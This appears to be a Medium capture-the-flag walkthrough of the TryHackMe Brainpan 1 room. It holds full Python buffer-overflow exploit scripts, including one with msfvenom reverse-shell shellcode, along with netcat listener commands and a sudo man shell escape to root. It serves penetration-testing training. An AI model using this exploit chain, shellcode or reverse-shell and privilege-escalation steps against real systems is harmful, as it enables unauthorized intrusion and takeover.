TryHackMe — Brainpan 1

Access the room here and deploy the machine: https://tryhackme.com/room/brainpan

Let’s start with nmap enumeration with aggressive mode on all ports:

nmap -A -p- 10.10.254.135

Open Ports:

9999/tcp abyss?

10000/tcp http SimpleHTTPServer

We can check out the HTTP Server on port 10000 but we will only see a picture all across the webpage like this:

We may run dirbuster to find any hidden directories:

Seems like there is a /bin/ directory in port 10000 which holds some executable called “brainpan.exe”. I’ll save this file on my desktop.

What about port 9999? Well, according to the source code, it also seems to be a plain text like this:

Or is it? It looks like a portal to somewhere else, so why don’t we set up our listener on port 9999?

nc 10.10.254.135 9999

Just as I thought, you can interact with it, but it needs its password in order to login.

Remember that brainpan.exe file on my desktop which we have downloaded from port 10000? I will drag that on my Windows 7 Vmware machine in order to debug it and I am going to use Immunity Debugger for Buffer Overflow. (Debugging on Windows is more practical in my opinion.)

P.S. You can download Immunity Debugger from here: https://www.immunityinc.com/products/debugger/

P.S. We will use an extention to work on Immunity Debugger called “mona”, you can also download it from here: https://github.com/corelan/mona

Execute brainpan.exe.

You can see that this file is running on port 9999. We will be fuzzing it on our local so that the actual machine won’t break while we work on it.

Open Immunity Debugger. File → Attach → brainpan

And hit start (the red > on upper left). [If everything goes blank when you hit start, just hit alt+c, don’t worry it’s a bug.]

To fuzz this app, we will need some python scripts.

And before that, don’t forget to write your Windows-VM’s IP. Mine is 192.168.156.132, so we will see this IP in this walkthrough a lot.

Make a directory for Buffer Overflow if you want. We will be using a lot of scripting here.

Stage-1 Fuzzing

Let’s see where this guy crashes at. We will be sending a bunch of AAA’s and see where this program crashes approx. Create a file called “1fuzz.py” on Kali and put these (remember to write your own Windows-VM IP):

import sys, socketfrom time import sleepbuffer = "A" * 100while True: try:  payload = buffer + '\r\n'  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  s.connect(('192.168.156.132',9999))  print("Payload is at..." + str(len(buffer)))  s.send((payload.encode()))  s.close()  sleep(1)  buffer = buffer + "A" * 100 except:  print("Fuzzing crashed at %s bytes" % str(len(buffer)))  sys.exit()

Save it and;

chmod +x 1fuzz.pypython3 1fuzz.py

Observe that it crashed around 1000 bytes:

Check Immunity Debugger now:

Yep, the program crashed and filled with a bunch of AAA’s.

[Note: 41414141 means AAAA in hex.]

Close everything and start both brainpan.exe and Immunity Debugger. Attach and start the program again.

Stage-2 Finding the Offset

We know it crashed around 1000 bytes. So in order to find exactly which byte this program crashes, we will be using another script.

But before that, get the python script from https://github.com/vay3t/pattern/blob/master/pattern.py

chmod 777 pattern.py./pattern.py create 1000

Copy these.

Create a file called “2fuzz.py” and write the codes below. Don’t forget to paste your offset from pattern.py.

import sys, socketbuffer = “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B”payload = buffer + ‘\r\n’s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((‘192.168.156.132’,9999))s.send((payload.encode()))s.close()

Save it and;

chmod 777 2fuzz.pypython3 2fuzz.py

Check Debugger to see EIP value (35724134) because we have to control the pointer (EIP) in order to use this program on our behalves.

Close everything and start both brainpan.exe and Immunity Debugger. Attach and start the program again.

To find the offset;

./pattern.py offset 0x35724134

It means the program crashes exactly at 524th byte.

Stage-3 Overwriting the EIP

To control this, let’s edit 2fuzz.py as “3offset.py” like this:

import sys, socketbuffer = “A” * 524 + “B” * 4payload = buffer + ‘\r\n’s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((‘192.168.156.132’,9999))s.send((payload.encode()))s.close()

What will that do? We will be sending 524 bytes of AAAA’s up to the EIP pointer, and fill the EIP pointer with 4 bytes of BBBB. That means we can have control over EIP if we set the right commands.

chmod 777 3offset.pypython3 offset.py

[Note: 42424242 means BBBB]

Close everything and start both brainpan.exe and Immunity Debugger. Attach and start the program again.

Stage-4 Finding the Bad Characters

If you ask Google, you can have your the badchars to use in our next script. Let’s modify the 3offset.py as “4badchar.py” like this with the badchars:

import sys, socketbuffer = “A” * 524 + “B” * 4badchars = ( “\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10”“\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20”“\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30”“\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40”“\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50”“\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60”“\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70”“\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80”“\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90”“\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0”“\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0”“\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0”“\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0”“\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0”“\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0”“\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff”)payload = buffer + badchars + ‘\r\n’s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((‘192.168.156.132’,9999))s.send((payload.encode()))s.close()chmod 777 4badchar.py
python3 4badchar.py

In Debugger, go to ESP, right click and select “Follow in Dump”.

Look to the down left (I highlighted the imported section):

If you look closely, you will see that everything is in order. None of these appear mangled, which means that there are no bad characters for us to mind for.

Close everything and start both brainpan.exe and Immunity Debugger. Attach and start the program again.

Stage-5 Finding the Right Module with Mona.py

We are looking for an unprotected area in our program. To continue, we must have mona modules for debugger. Note that mona modules won’t work if you don’t have Python installed on your Windows VM.

Download the mona module for your Windows VM from https://github.com/corelan/mona

Inside the Immunity Debugger application folder, there is “PyCommands” folder. Place mona.py there.

Write “!mona modules” inside the down left box of Immunity Debugger.

You will be welcomed like this:

Observe that brainpan.exe is all non-protected. (Everything is “False”)

Now we will be finding a good return adress. Write down:

!mona find -s “\xff\xe4” -m brainpan.exe

Why did we write this? Because the JMP ESP’s hexcode is FF E4. Which means we need to find \xff\xe4 in the program as a return address.

Mona returns a result which is: 0x311712f3

Minimize mona and expand “CPU — main thread, module ntdll” in Debugger.

Click on the “blue 4-boxes with an arrow” to find 311712F3.

Press F2 to toggle the breakpoint there. It will light up in cyan. We toggle it because we can inject our code right after this jump point.

Stage-6 Overflow the EIP

Now that we have found our jump point, we can now write another script to manipulate the program.

We will be using Little Endian in our code, which means we will be writing our hexcodes backwards.

What is a little endian?

Big-endian is an order in which the “big end” (most significant value in the sequence) is stored first (at the lowest storage address). Little-endian is an order in which the “little end” (least significant value in the sequence) is stored first. For example, in a big-endian computer, the two bytes required for the hexadecimal number 4F52 would be stored as 4F52 in storage (if 4F is stored at storage address 1000, for example, 52 will be at address 1001). In a little-endian system, it would be stored as 524F (52 at address 1000, 4F at 1001). Source: https://searchnetworking.techtarget.com/definition/big-endian-and-little-endian

Let’s modify 4badchars.py as “5module.py” as below:

import sys, socket
buffer = "A" * 524 + "\xf3\x12\x17\x31"

payload = buffer + badchars + '\r\n'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(('192.168.156.132',9999))s.send(payload)s.close()

Save it and;

chmod 777 5module.pypython3 5module.py

We have hit the JMP ESP.

Close everything and start only brainpan.exe as administrator, because we will be using some malicious code.

Stage-7 Shellcode

Let’s set our netcat listener first, because we will be using it right now.

nc -lvnp 4444

Let’s have our payload to be pasted into the script:

msfvenom -p windows/shell_reverse_tcp LHOST=[YOUR_INTERNAL_KALI_IP] LPORT=4444 -b “\x00” -f c

Wait a second, and copy the generated chars.

What are those?

-p: we are generating a reverse tcp payload against Windows.

LHOST: Our Kali’s IP, but not the THM openvpn version, we need our internal one to communicate with.

LPORT: The port we will be listening on netcat.

-b: Badchars. Since we had no bad characters, we just wrote the badchar of all times (x00) so that it will be excluded in our code.

-f: We have selected the generated payload as a c file.

Let’s edit 5module.py as “6shell.py” like this:

import sys, socketbuffer = b"A" * 524 + b"\xf3\x12\x17\x31"shellcode = (b"\xbd\xb2\x79\x28\xe7\xdd\xc4\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"b"\x52\x31\x6e\x12\x83\xee\xfc\x03\xdc\x77\xca\x12\xdc\x60\x88"b"\xdd\x1c\x71\xed\x54\xf9\x40\x2d\x02\x8a\xf3\x9d\x40\xde\xff"b"\x56\x04\xca\x74\x1a\x81\xfd\x3d\x91\xf7\x30\xbd\x8a\xc4\x53"b"\x3d\xd1\x18\xb3\x7c\x1a\x6d\xb2\xb9\x47\x9c\xe6\x12\x03\x33"b"\x16\x16\x59\x88\x9d\x64\x4f\x88\x42\x3c\x6e\xb9\xd5\x36\x29"b"\x19\xd4\x9b\x41\x10\xce\xf8\x6c\xea\x65\xca\x1b\xed\xaf\x02"b"\xe3\x42\x8e\xaa\x16\x9a\xd7\x0d\xc9\xe9\x21\x6e\x74\xea\xf6"b"\x0c\xa2\x7f\xec\xb7\x21\x27\xc8\x46\xe5\xbe\x9b\x45\x42\xb4"b"\xc3\x49\x55\x19\x78\x75\xde\x9c\xae\xff\xa4\xba\x6a\x5b\x7e"b"\xa2\x2b\x01\xd1\xdb\x2b\xea\x8e\x79\x20\x07\xda\xf3\x6b\x40"b"\x2f\x3e\x93\x90\x27\x49\xe0\xa2\xe8\xe1\x6e\x8f\x61\x2c\x69"b"\xf0\x5b\x88\xe5\x0f\x64\xe9\x2c\xd4\x30\xb9\x46\xfd\x38\x52"b"\x96\x02\xed\xf5\xc6\xac\x5e\xb6\xb6\x0c\x0f\x5e\xdc\x82\x70"b"\x7e\xdf\x48\x19\x15\x1a\x1b\xe6\x42\xb8\x5a\x8e\x90\xc0\x4d"b"\x13\x1c\x26\x07\xbb\x48\xf1\xb0\x22\xd1\x89\x21\xaa\xcf\xf4"b"\x62\x20\xfc\x09\x2c\xc1\x89\x19\xd9\x21\xc4\x43\x4c\x3d\xf2"b"\xeb\x12\xac\x99\xeb\x5d\xcd\x35\xbc\x0a\x23\x4c\x28\xa7\x1a"b"\xe6\x4e\x3a\xfa\xc1\xca\xe1\x3f\xcf\xd3\x64\x7b\xeb\xc3\xb0"b"\x84\xb7\xb7\x6c\xd3\x61\x61\xcb\x8d\xc3\xdb\x85\x62\x8a\x8b"b"\x50\x49\x0d\xcd\x5c\x84\xfb\x31\xec\x71\xba\x4e\xc1\x15\x4a"b"\x37\x3f\x86\xb5\xe2\xfb\xb6\xff\xae\xaa\x5e\xa6\x3b\xef\x02"b"\x59\x96\x2c\x3b\xda\x12\xcd\xb8\xc2\x57\xc8\x85\x44\x84\xa0"b"\x96\x20\xaa\x17\x96\x60")payload = buffer  + b"\x90" * 32 + shellcode + b'\r\n's = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(('192.168.156.132',9999))s.send(payload)s.close()

P.S. Put “b” for byte encoding for every line of your own payload. We also add some NOPs between buffer and the shellcode to give some space just to be ensure the buffer overflow works.

chmod 777 6shell.pypython3 6shell.py

Congrats! You just hacked yourself. (?) It means the codes work! We are ready to work in the real machine on THM network!

Stage-8: Brainpan!

Let’s modify our payload and script according to the THM’s network.

msfvenom -p windows/shell_reverse_tcp LHOST=[THM_TUNNEL_IP] LPORT=4444 -b “\x00” -f c

Take the payload and paste it into the 6shell.py and do not forget the b’s every line of your code.

Also, do not forget to take your machine’s IP and put it into the s.connect part of your code.

nc -lvnp 4444 to start listening and in another terminal, python3 6shell.py to run it!

We can see there is a bash file there. If you navigate around the machine, you will realize that you are in a Linux system, not a Windows one. We should convert our payload one more time in order to get a working shell on Linux!

Do not forget to terminate and deploy the machine because it is already overflowed.

Stage-9: Converting the Payload for Linux

msfvenom -p linux/x86/shell_reverse_tcp LHOST=[THM_TUNNEL_IP] LPORT=4444 -b “\x00” -f c

Take the payload and paste it into the 6shell.py and do not forget the b’s every line of your code.

Also, do not forget to take your machine’s IP and put it into the s.connect part of your code.

nc -lvnp 4444 to start listening and in another terminal, python3 6shell.py to run it!

Stage-10: Root from man!

Enter this line to gain a interactive shell:

python -c ‘import pty; pty.spawn(“/bin/bash”)’

sudo -l to see what can we do with sudo without any password.

sudo /home/anansi/bin/anansi_util

After further investigation,

sudo /home/anansi/bin/anansi_util network: brings you ifconfig,

sudo /home/anansi/bin/anansi_util proclist: brings you processes,

sudo /home/anansi/bin/anansi_util manual [command]: brings you manual pages of tools with man.

sudo /home/anansi/bin/anansi_util manual ls

This is to show the manual page of ls. Once you get there, try to shell escape!

Note: From GTFObins, you will notice manwith sudo. https://gtfobins.github.io/gtfobins/man/

If you write this one below, you will escape the jail and get root!

!/bin/bash

--

--

--

Cyber Security Team Lead @ Lostar IT https://tryhackme.com/p/Stormfly

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

You Don’t Need To Go To College To Become a Software Engineer

The Sorting Algorithms You Need To Know

DevOps and Security on a Small Team

How are new-age businesses adapting to low-code internal tools

What Is Spring Boot?

What Is Spring Boot?

How I used Luigi Pipeline for Openstack Jobs

How to get instant GraphQL APIs on your existing Django application

Flutter Localization, a workflow

A dictionary

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Jessy De Taranto

Jessy De Taranto

Cyber Security Team Lead @ Lostar IT https://tryhackme.com/p/Stormfly

More from Medium

[ Try Hack Me ] Regular expressions

Looking Glass- TryHackMe

TryHackMe : Bounty Hacker Walkthrough

Oh My Webserver - WriteUP